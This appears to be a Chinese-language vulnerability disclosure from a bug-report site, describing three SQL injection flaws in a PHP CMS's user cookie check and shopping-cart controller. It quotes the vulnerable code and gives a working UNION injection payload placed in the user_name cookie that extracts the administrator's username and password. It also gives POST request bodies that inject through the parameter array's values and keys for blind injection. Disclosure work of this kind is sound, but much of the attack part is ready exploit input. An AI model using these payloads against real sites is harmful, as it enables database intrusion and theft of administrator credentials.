### 简要描述:
rt。
### 详细说明:
#1
看到这个漏洞http://wooyun.org/bugs/wooyun-2010-090196
看看官方怎么修补的
/Application/User/Controller/RegisterController.class.php
```
$user_name = mc_magic_in(mc_remove_html($_POST['user_name'],'all'));
```
有了过滤。看到 mc_user_id()
```
function mc_user_id() {
$user_name = cookie('user_name');
$page_id = M('meta')->where("meta_key='user_name' AND meta_value='".$user_name."' AND type='user'")->getField('page_id');
$user_pass_true = mc_get_meta($page_id,'user_pass',true,'user');
if(cookie('user_name') && cookie('user_pass') && cookie('user_pass') == $user_pass_true) {
return $page_id;
}
}
```
由 session变成了cookie 而且没有过滤
那么我们就可以直接赋值进行注入了
exp:
```
user_name=' or meta_value='admin') and 1=2 union select concat((select concat((SELECT meta_value from mc_meta where meta_key='user_name' and page_id=1),0x5c,(SELECT meta_value from mc_meta where meta_key='user_pass' and page_id=1))),'\') union select 1',0x23)#
user_pass=1
```
火狐修改cookie
[<img src="https://images.seebug.org/upload/201504/092327304b0f24fde645e472378ba34af1042de7.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/092327304b0f24fde645e472378ba34af1042de7.png)
在源码中返回了 管理员账户密码。
#2
/Application/Home/Controller/PerformController.class.php
```
public function add_cart($id,$number){
if(is_numeric($id) && is_numeric($number) && $number > 0) {
if(mc_user_id()) {
if($_POST['parameter']) {
$parameter = $_POST['parameter'];
$kucun_now = array();
foreach($parameter as $key=>$val) {
$kucun = M('meta')->where("page_id='$id' AND meta_key='$val' AND type ='kucun'")->getField('meta_value');
```
可以看到 parameter 数组的 val木有过滤,
/index.php?m=home&c=perform&a=add_cart&id=25&number=1
post:
parameter[]=xxx'
[<img src="https://images.seebug.org/upload/201504/09233913b479abd122bcde498cf1ee5e175ac11a.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/09233913b479abd122bcde498cf1ee5e175ac11a.png)
单引号带入成功,由于默认没有错误提示,所以只能盲注。
#3
/Application/Home/Controller/PerformController.class.php
```
if($_POST['parameter']) {
$parameter = $_POST['parameter'];
$cart = M('action')->where("page_id='$id' AND user_id='".mc_user_id()."' AND action_key='cart'")->getField('id',true);
if($cart) {
$par_false = 0;
foreach($cart as $cart_id) {
$par_old = M('action')->where("page_id='$cart_id' AND user_id='".mc_user_id()."'")->getField('id',true);
if($par_old) {
$par_count = 0;
foreach($parameter as $key=>$val) {
$par_name = M('option')->where("id='$key'")->getField('meta_value');
.....
```
foreach($parameter as $key=>$val)后
where("id='$key'") 对于 数组的键名却没有过滤,注入产生
/index.php?m=home&c=perform&a=add_cart&id=25&number=1
post:
parameter[test']=kucun
[<img src="https://images.seebug.org/upload/201504/0923423860e1d7f48e256d939d50a26443fb7d5f.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/0923423860e1d7f48e256d939d50a26443fb7d5f.png)
单引号进来了。
同2,盲注。
### 漏洞证明:
[<img src="https://images.seebug.org/upload/201504/092327304b0f24fde645e472378ba34af1042de7.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/092327304b0f24fde645e472378ba34af1042de7.png)
暂无评论